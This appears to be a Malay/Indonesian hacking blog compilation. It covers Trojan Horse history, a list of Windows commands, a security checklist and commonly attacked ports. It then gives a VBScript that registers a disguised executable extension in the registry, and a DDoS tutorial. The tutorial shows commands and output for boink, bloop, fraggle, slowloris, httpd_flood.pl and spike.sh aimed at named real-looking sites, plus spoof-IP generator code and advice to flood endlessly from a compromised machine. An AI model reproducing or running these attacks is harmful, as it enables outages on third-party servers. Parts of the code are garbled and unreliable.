Daniel Edwards dari National Security Agency (NSA) yang diakui mencetuskan istilah Trojan Horse untuk program jahat yang menyelinap dalam komputer korban. Inspirasinya tentu dari Kuda Troya yang digunakan bangsa Yunani untuk mengalahkan bangsa Troya dan mengambilalih kota Troya.
Istilah Trojan Horse (kuda troya) berasal dari mitologi Yunani pada saat perang Troya. Dalam peperangan tersebut pasukan Yunani melawan pasukan kerajaan Troya selama sepuluh tahun, namun karena pasukan kerajaan Troya cukup tangguh,maka pasukan Yunani sulit untuk mengalahkannya.
Akhirnya pasukan Yunani membuat strategi yaitu dengan membuat sebuah kuda raksasa yang terbuat dari kayu.Kuda dari kayu ini cukup unik, di dalamnya berongga sehingga dapat diisi dengan pasukan Yuanani. Pasukan Yunani pura-pura mundur dan sambil memberikan hadiah kuda kayu raksasa tersebut. Dengan bantuan seorang spionase Yunani yang bernamaSinon,penduduk kota Troya berhasil diyakinkan untuk menerima kuda kayu raksasa itu dan memasukkannya dalam kota. Pada malam harinya, pasukan Yunani berada didalam kuda kayukeluar, kemudian membuka gerbang dan kota Troya diserang. Dengan cara tersebut kota Troya dikuasai oleh Yunani.
Kisah diatas menjadi sebuah inspirasi para hacker untuk mencipatakan "penyusup" komputer yang di beri nama Trojan Horse.
ini adalah kesemua command dos yang diberi oleh wondows.
di bawah adalah senarai arahan-arahan yang kita boelh buat pada windows..
manfaatkan command di bawah:
# ADDUSERS : Menambah/melihat daftar user melalui CSV file
# ARP : Address Resolution Protocol
# ASSOC : Mengganti ekstensi file asosiasi
# ASSOCIAT : Menjalankan file asosiasi satu langkah
# AT : Menjadualkan perintah yang akan dijalankan lain waktu
# ATTRIB : Mengganti attribut file
# BOOTCFG : Mengedit pengaturan Windows boot
# BROWSTAT : Mengambil domain, browser dan PDC info
# CACLS : Mengganti permision file
# CALL : Memanggil salah satu program dari kelompok program
# CD : Pindah direktori/pindah folder
# CHANGE : Mengganti properties Terminal Server Session
# CHKDSK : Cek disk/harddisk dan memperbaiki permasalah harddisk
# CHKNTFS : Cek NTFS file system
# CHOICE : Menyetujui/memilih key input keyboard untuk memanggil file
# CIPHER : Enkripsi/dekripsi file atau folder
# CleanMgr : Memadam secara automatik temporary file termasuk recycle bin
# CLEARMEM : Memadam/membersihkan memory
# CLIP : copy STDIN ke Windows clipboard.
# CLS : Membersihkan/menghilangkan layar
# CLUSTER : Clustering Windows
# CMD : Memulai/membuka command prompt
# COLOR : Mengganti warna layar command prompt
# COMP : Membandingkan isi dua file atau lebih
# COMPACT : Mengcompresskan file atau folder pada partisi NTFS
# COMPRESS : Mengcompresskan sebuah file pada partisis NTFS
# CON2PRT : Menghubungkan atau memutus connection ke printer
# CONVERT : Mengganti dari partition FAT ke NTFS.
# COPY : Menyalin satu atau lebih files
# CSVDE : Import/Export Active Directory data
# DATE : Menampilkan tarikh
# Dcomcnfg : DCOM Configuration Utility
# DEFRAG : Mendefragmen harddisk
# DEL : memadam file
# DELPROF : memadam profil user NT
# DELTREE : Memadam folder dan subfolder
# DevCon : Device Manager Command Line Utility
# DIR : Memaparkan daftar file dan folder
# DIRUSE : Memaparkan daftar disk yang terpakai
# DISKCOMP : Membandingkan isi dua buah floppy disk
# DISKCOPY : Menyalin data Floppy disk
# DNSSTAT : DNS Statistik
# DOSKEY : Mengedit baris command, memanggil kembali command, dan membuat macros
# DSADD : Menambah user dan grup komputer di active directory
# DSQUERY : Memaparkan daftar item di active directory
# DSMOD : Memodifikasi user dan grup komputer di active directory
# ECHO : Memaparkan pesan di layar
# ENDLOCAL : Memaparkan perubahan pada akhir kelompok file
# ERASE : memadam satu atau lebih file
# EXIT : Keluar dari commant prompt
# EXPAND : Menggelar file
# EXTRACT : Mengekstrak file
# FC : Membandingkan dua file
# FDISK : memaparkan format disk dan partisi
# FIND : Mencari sebuah file
# FINDSTR : Mencari file berdasarkan potongan ayat
# FOR : Menampilkan condision terakhir yang terjadi pada waktu terakhir
# FORFILES : Memaparkan proses kelompok file
# FORMAT : Memformat disk
# FREEDISK : Melihat kapasiti disk yang kosong
# FSUTIL : Utiliti file dan volume file
# FTP : File Transfer Protocol
# FTYPE : Memaparkan atau mengganti ekstensi file
# GLOBAL : Memaparkan user dari grup global
# GOTO : Mengakses ke kelompok program melalui label program pada command line
# HELP : Bantuan
# HFNETCHK : Network Security Hotfix Checker
# IF : Salah satu perintah kondisi
# IFMEMBER : Kondisi salah satu user di NT Workgroup
# IPCONFIG : Konfigurasi IP (Internet Protocol)
# KILL : Mematikan/memadam program yang sedang berjalan di memory
# LABEL : Mengganti label disk
# LOCAL : Memaparkan anggota sebuah grup
# LOGEVENT : Menulis file di NT event viewer.
# LOGOFF : Logoff
# LOGTIME : Menampilkan Log tanggal dan waktu pada sebuah file
# MAPISEND : Mengirim e-mail dengan baris command
# MEM : Memaparkan memori yang terpakai
# MD : Membuat sebuah folder
# MODE : Mengkonfigurasi system device
# MORE : Memaparkan output/hasil berikutnya di window
# MOUNTVOL : Managementkan volume mount point
# MOVE : Memindahkan file
# MOVEUSER : Memindahkan user
# MSG : Mengirim mesej
# MSIEXEC : Microsoft Windows Installer
# MSINFO : Windows NT diagnosik
# MSTSC : Terminal Server Connection (Remote Desktop Protocol)
# MUNGE : Mencari dan mereplika teks dalam sebuah file
# MV : Menyalin file yang sedang aktif
# NET : Management jaringan yang digunakan
# NETDOM : Domain Manager
# NETSH : Mengkonfigurasi network protocols
# NETSVC : Daftar perintah Service Controller
# NBTSTAT : Memaparkan statistik rangkaian (NetBIOS TCP/IP)
# NETSTAT : Memaparkan statistik rangkaian (TCP/IP)
# NOW : Memaparkan tarikh dan waktu sekarang
# NSLOOKUP : Name server lookup
# NTBACKUP : Membackup file
# NTRIGHTS : Mengedit user
# PATH : Memaparkan alamat (path) sebuah program
# PATHPING : Menelusuri jejak penyambungan yang terganggu dan kehilangan paket
# PAUSE : Menghentikan proses sejenak pada program atau perintah yang sedang berjalan
# PERMS : Memaparkan user permition
# PERFMON : Memonitor permorma
# PING : melihat ip adress laman web
# POPD : Restore ke harga awal pada direktori asli berdasarkan PUSHD
# PORTQRY : Memaparkan status port dan services
# PRINT : Mencetak teks
# PRNCNFG : Memaparkan, mengkonfigurasi atau mengganti nama printer
# PRNMNGR : Menambah, memadam atau mendefault printer
# PROMPT : Mengganti command
# PsExec : Mengeksekusi proses secara remote
# PsFile : Memaparkan file yang terbuka secara remote
# PsGetSid : memaparkan SID komputer pengguna
# PsInfo : Memaparkan informasi sistem komputer
# PsKill : Mematikan proses berdasarkan nama atau ID proses
# PsList : Memadam dengan detail proses yang sedang berjalan
# PsLoggedOn : Melihat siapa yang sedang Logon baik local maupun sharing
# PsLogList : memaparkan rakaman LOG
# PsPasswd : Mengganti password account
# PsService : Memaparkan dan control services
# PsShutdown : Shutdown atau merestart komputer
# PsSuspend : Suspend
# PUSHD : Menyimpan kemudian mengganti pada direktori asli
# QGREP : Mencari file berdasarkan pola
# RASDIAL : Manajemen RAS connections
# RASPHONE : Manajemen RAS connections
# RECOVER : recover file yang rosak dari disk
# REG : Membaca, mereset atau memadam registry key atau value
# REGEDIT : Mengimport/eksport pengaturan registry
# REGSVR32 : Register atau unregister DLL file
# REGINI : Mengganti Registry Permissions
# REM : Merakam komen pada kelompok file
# REN : Mengganti nama file
# REPLACE : Menindih (replace) atau mengupdate file dengan file lainya
# RD : Memadam folder
# RDISK : Membuat Recovery Disk
# RMTSHARE : Sharing folder atau printer
# ROBOCOPY : Menyalin file atau folder secara keseluruhan (asli)
# ROUTE : Manipulasi network routing tabel
# RUNAS : Menjalankan program pada user account berbeda
# RUNDLL32 : Menjalankan perintah DLL32
# SC : Service Control
# SCHTASKS : Membuat atau mengedit schedule task
# SCLIST : Memaparkan service NT yang sedang berjalan
# ScriptIt : control aplikasi GUI
# SET : Menampilkan, mereset atau memadam variabel tertentu
# SETLOCAL : Mengubah local konfigurasi sementara pada kelompok file
# SETX : Mengatur konfigurasi variabel secara permanen
# SHARE : Memaparkan atau mengedit data/printer sharing
# SHIFT : Memasukkan parameter pada kelompok file
# SHORTCUT : Membuat shortcut file
# SHOWGRPS : Menampilkan NT Workgroups user yang tergabung
# SHOWMBRS : Menampilkan keanggotaan user pada sebuah workgroup
# SHUTDOWN : shutdown komputer
# SLEEP : Mematikan sementara (x second)
# SOON : menjadualkan perintah agar berjalan pada waktu yang akan datang
# SORT : Sort input
# START : Menjalankan program tertentu pada jendela terpisah
# SU : Switch User
# SUBINACL : Edit file, folder Permissions, Ownership dan Domain
# SUBST : Mengurutkan lokasi berdasarkan drive letter
# SYSTEMINFO : Memaparkan daftar konfigurasi sistem
# TASKLIST : Memaparkan daftar aplikasi dan service yang sedang berjalan
# TIME : Memaparkan atau mengkonfigurasi tarikh dan masa
# TIMEOUT : Penundaan proses
# TITLE : Menyusun judul window CMD.EXE pada waktu berjalan
# TOUCH : Mengganti stempel waktu (timestamps) file
# TRACERT : Menelusuri route rangkaian pada remote host
# TREE : Memaparkan folder terstruktur pada mode grafis
# TYPE : Memaparkan isi sebuah file
# USRSTAT : Memaparkan daftar nama domain dan sesi login terakhir
# VER : Memaparkan informasi versi
# VERIFY : Memverifikasi file yang telah disimpan
# VOL : Memaparkan label disk
# WHERE : Menentukan dan memaparkan lokasi file pada stuktur direktori
# WHOAMI : memaparkan UserName dan domain sebenarnya
# WINDIFF : Membandingkan isi dua buah file dan konfigurasinya
# WINMSD : Diagnostik sistem windows
# WINMSDP : Diagnostik sistem windows yang berikut
# WMIC : Perintah WMI
# XCACLS : Mengganti file permission
# XCOPY : menyalin files dan folder
11 perkara yang boleh menjadi perhatian khusus bagi para admin untuk kehandalan sistem keselamatan rangkaian syarikat di mana anda bekerja tetap terjaga:
1. Mudah tertipu dan terlalu percaya kepada pengguna / user anda, terutama para kakitangan wanita atau sahabat yang meminta pertolongan.
2. Bangunan dan pintu akses masuk / keluar yang tidak selamat.
3. Dokumen-dokumen dan cakera atau peripheral komputer yang belum dihancurkan atau tidak hancur pada saat sudah dibuang ke tempat sampah boleh dibaca oleh pihak lain.
4. Password yang lemah atau bahkan sistem rangkaian tidak menggunakan password sama sekali.
5. Pertahanan rangkaian yang kurang kuat kerana mungkin tidak ada firewall dan sebagainya.
6. Masuk ke kawalan yang lemah, missing fail dan beberapa akses yang tidak seharusnya diberikan kepada user yang tidak perlu.
7. Sistem yang tidak dilakukan patch.
8. Pengesahan dan information disclosure aplikasi web tidak dilakukan sembarangan.
9. Sistem wireless berjalan dengan setting lalai dan tanpa WEP, WPA atau WPA2, sangat riskan dan mudah untuk dijebol.
10. SNMP melakukan enable rangkaian host dalam keadaan lalai atau hanya menggunakan mode guest untuk komuniti sehingga sangat mudah untuk dijebol.
11. Menggunakan firewall, router, remote access dan peralatan dial up dalam keadaan lalai atau password guest atau menggunakan password yang terlalu mudah, kerana ini sebagai jalan masuk hacker ke dalam sistem.
Di bawah ini beberapa port yang sangat sering dilakukan penetrasi (hacking) oleh para penggodam dan kakitangan yang nakal untuk mencuba-cuba menceroboh sistem keselamatan rangkaian:
* TCP port 20 dan 21 FTP (File Transfer Protocol)
* TCP port 23 Telnet (Terminal Emulation)
* TCP port 25 SMTP (Simple Mail Transfer Protocol)
* TCP dan UDP port 53 DNS (Domain Name System)
* TCP port 80 dan 443 HTTP dan HTTPs (Hypertext Transfer Protocol)
* TCP port 110 POP3 (Post Office Protocol version 3)
* TCP dan UDP port 135 RPC
* TCP dan UDP port 137 – 139 NetBIOS over TCP/IP
* TCP dan UDP port 161 SNMP (Simple Network Management Protocol)
maanfaatkan kode2 di bawah.
'===================================
const HKEY_CLASSES_ROOT = & H80000000
const HKEY_CURRENT_USER = & H80000001
Quot = chr (34)
strComputer = "."
On error resume next
Tanya = MsgBox ("By Laluan Exelockdown dan Registry Shell Spawning" & _
vbNewLine & "datang Exelockdown?", 36, "Exelockdown Hacking - by Lovepassword")
If Tanya = 6 Then 'pilih YA
Set objRegistry = GetObject ("winmgmts: {impersonationLevel = impersonate}! \" & StrComputer & "ootdefault: StdRegProv")
objRegistry.CreateKey HKEY_CLASSES_ROOT, ". sexy"
objRegistry.SetStringValue HKEY_CLASSES_ROOT, ". sexy",, "exefile"
objRegistry.SetStringValue HKEY_CLASSES_ROOT, ". sexy", "Content Type", "application / x-msdownload"
objRegistry.CreateKey HKEY_CLASSES_ROOT, ". sexyPersistentHandler"
objRegistry.SetStringValue HKEY_CLASSES_ROOT, ". sexyPersistentHandler ",,"{ 098f2470-bae0-11cd-b579-08002b30bfeb}"
objRegistry.CreateKey HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced"
objRegistry.SetDWORDValue HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced", "HideFileExt", 0
Set objWMIService = GetObject ("winmgmts:" _
& "{ImpersonationLevel = impersonate}! \" & StrComputer & "ootcimv2?)
Set colProcessList = objWMIService.ExecQuery _
("SELECT * FROM Win32_Process WHERE Name = 'explorer.exe'")
For Each objProcess in colProcessList
objProcess.Terminate ()
Next
set objShell = CreateObject ("WScript.Shell")
objShell.Run "explorer.exe"
msgbox "copi file exe, jalankan operasi ini", vbInformation, "Exelockdown Hacking - nick kluang "
End If
'===========================================
save as di notepad dengan extension sexy.vbs
TOOLS DDOS
Boink
Merupakan tool yang boleh membuat blue screen of death pada mesin-mesin windows 9x dan nt.
Berikut contoh cara penggunaanya:
bt ~ # ./boink 127.0.0.1 74.63.241.86 80 80 99999999999
(0)74.63.241.86:25->65
(1)74.63.241.86:25->65
(2)74.63.241.86:25->65
(3)74.63.241.86:25->65
(4)74.63.241.86:25->65
(5)74.63.241.86:25->65
(6)74.63.241.86:25->65
(7)74.63.241.86:25->65
(8)74.63.241.86:25->65
(9)74.63.241.86:25->65
(10)74.63.241.86:25->65
(11)74.63.241.86:25->65
(12)74.63.241.86:25->65
(13)74.63.241.86:25->65
(14)74.63.241.86:25->65
(15)74.63.241.86:25->65
(16)74.63.241.86:25->65
(17)74.63.241.86:25->65
(18)74.63.241.86:25->65
(19)74.63.241.86:25->65
(20)74.63.241.86:25->65
(21)74.63.241.86:25->65
(22)74.63.241.86:25->65
(23)74.63.241.86:25->65
(24)74.63.241.86:25->65
(25)74.63.241.86:25->65
dst ...........
Smurf & UDP Attack
Smurf attack merupakan teknik penyerangan dengan mengirimkan paket icmp yang dispoof ke target kita
Bloop
Merupakan salah satu tool dos dengan metode smurf attack.
Bloop akan mengirimkan paket icmp spoof secara acak ke target kita untuk membuat mesin target crash.
Berikut adalah contoh penggunaan bloop:
bt ~ # ./bloop 127.0.0.1 sec-r1z.com 99999999
Bloop v 1.0
Status: Connected....packets sent.
Fraggle
Fraggle merupakan tool untuk tipe smurf dos / ddos yang menggunakan suatu file broadcast yang berisi daftar alamat2 ip spoof.
Sebelum menggunakan fraggle kita memerlukan sebuah file broadcast ip spoof, Untuk itu
saya sudah membuat sendiri tool untuk spoof ip generator namanya dimas.c:
filename:dimas.c , programmer: mywisdom
/*dimas.c random ip generator (public ip and private ip)
version 1.0
c0d3r: mywisdom
greetz:gunslinger,flyff666,kiddies,xtr0nic,whitehat,Danzel and so on
*/
#include
#include
#include
void bikin_random_ip()
{
FILE *dom2;
int a,b,c,d,a2,b2,jum;
dom2=fopen("ip.txt","w+");
for(;;)
{
srand ( time(NULL) );
a = rand ()% 255 ;
b = rand ()% 255 ;
c = rand ()% 255 ;
d = rand ()% 255 ;
if ( (a != 10) && (a != 172) && (a != 192))
{
if(dom2!=NULL)
{
if(a2!=a)
{
fprintf(dom2,"%d.%d.%d.%d\n",a,b,c,d);
}
}
}
a2=a;
}
fclose(dom2);
}
int main ()
{
bikin_random_ip();
return 0;
}
kompile file di atas dan run untuk membuat file ip spoof dengan nama file: ip.txt
gcc -o dimas dimas.c
./dimas
Selanjutnya misal target kita sec-r1z.com, contoh penggunaan fraggle untuk menyerang sec-r1z.com:
bt ~ # ./fraggle sec-r1z.com ip.txt 2000 900 80 0 99
fraggle.c by TFreak
Flooding sec-r1z.com (. = 25 outgoing packets)
................................................................................
Done!
bt ~ #
slowloris
slowloris biasanya khusus digunakan untuk menyerang http port
,keunggulan slowloris adalah hanya menggunakan bandwith yang kecil dari server attacker,
tool ini akan mengirimkan http request dalam ukuran panjang berupa angka random panjang
terlihat dari source codenya:
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
Contoh penggunaan slowloris untuk menyerang sec-r1z.com :
bt ~ # ./slowloris.pl -dns www.sec-r1z.com -port 80 -timeout 30 -num 500 -cache
hacker by:..................
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Defaulting to a 5 second tcp connection timeout.
Multithreading enabled.
Connecting to www.sec-r1z.com:80 every 30 seconds with 500 sockets:
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
tembak.c
tools ciptaan nick kluang johor ) dah ada dari zaman baharu ), ok mari kita cuba gunakan lagi untuk contoh target sec-r1z.com :
bt ~ # ./tembak
hantar Paket ke IP orang
Cara gunakan : $ tembak hostname.orang port
bt ~ # ./tembak sec-r1z.com 80
Serbuu....!!!! Hancurkaannn sec-r1z.com ke port 80
httpd_flood.pl
Ini dia perl skrip khusus untuk bergantung socket httpd ).khusus hanya menyerang http daemon (port 80)
Berikut ini adalah contoh cara menggunakannya, contohnya target tbd.my, contohnya kita menggunakan serangan yang lama infinite (selamanya) dan kita run di background di salah satu mesin yang kita root:
./httpd_flood.pl tbd.my -1 99999 -1 &
Teknik Serangan Gabungan
Teknik serangan gabungan ini menggabungkan aneka jenis serangan, Anda boleh mencuba tool ini: spike
ok mari kita lihat semua tool2 yang digabung menjadi satu teknik serangan dimatikan oleh spike:
bt spike # ls
README bin/ sources/ spike.sh* spike.sh~*
bt spike # ls bin
1234* conseal* jolt* latierra* orgasm* spiffit* teardrop*
beer* dcd3c* kkill* misfrag* pepsi* sping* trash*
boink* fawx* koc* nestea* pimp* stream* udpdata*
bonk* gewse* kox* newtear* pong* syndrop* wingatecrash*
coke* gewse5* land* opentear* smurf* synk*
bt spike #
sudah anda lihat,tool ini menggabungkan berbagai macam ddos tool menjadi 1
Mari kita cuba run tool ini untuk attack target kita target: sec-r1z.com
bt spike # ./spike.sh sec-r1z.com
Main Menu For spike.sh
1] Combo Attacks
2] Pick The Attack
3] Pick The Attack2 (Enter Your Own Info)
4] Class C Attack (Drop A Class C)
5] Never Die (Attacks That Never Die)
6] Clean up (Kill Hung Attacks)
7] Info Menu (Other Info About spike.sh)
8] To Exit Out
Enter The Number Of The Option To Run:
contoh kita ingin menggunakan combo attack untuk menyerang target kita
klik 1.
Maka akan muncul pilihan 3 jenis serangan berdasarkan tingkat ganasnya serangan ( minta maaf nick kluang johor sedang menyerang komputer anda server anda akan musnah ):
ComboAttack Menu\033[0m
1] Light Attack (12 Attacks)
2] Medium Attack (20 Attacks)
3] Hard Attack (33 Attacks)
4] To Exit Out
Enter The Number Of The Option To Run
#> \c
contoh kita pilih yang hard attack, klik 3 !!!
omboAttack Menu\033[0m
1] Light Attack (12 Attacks)
2] Medium Attack (20 Attacks)
3] Hard Attack (33 Attacks)
4] To Exit Out
Enter The Number Of The Option To Run
#> \c
3
Teadroping.....
Completed....
Pimping.....
Completed....
Nesteaing.....
Completed....
Misfraging.....
Completed....
Syndroping.....
Completed....
Koxing.....
Completed....
NewTearing.....
Completed....
Bonking.....
Completed....
Fawxing.....
Completed....
Trashing.....
Completed....
Smurfing....
Completed....
Attacking On Hold For BandWidth
Completed....
Boinking.....
Completed....
Conseal Firewall Attacking.....
Completed....
Jolting.....
Completed....
Modem +++ DoSing
dst...
tamat tutorial ddos
